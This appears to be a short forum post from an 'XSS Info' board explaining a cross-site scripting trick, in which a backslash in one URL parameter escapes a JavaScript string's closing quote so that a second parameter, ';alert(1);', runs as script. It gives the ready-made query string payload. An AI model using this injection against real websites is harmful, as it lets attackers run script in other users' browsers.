Do you have more than one place to add you input into the <script>, such as in the following?
<script>
var w = '<arg1>';
var x = '<arg2>';
</script>
If so, you can try ?arg1=asdf\&arg2=;alert(1);\
The first one will slash the endquote, keeping the string going, until it hits the second string, where it will close right before your second input.
Forum:
XSS Info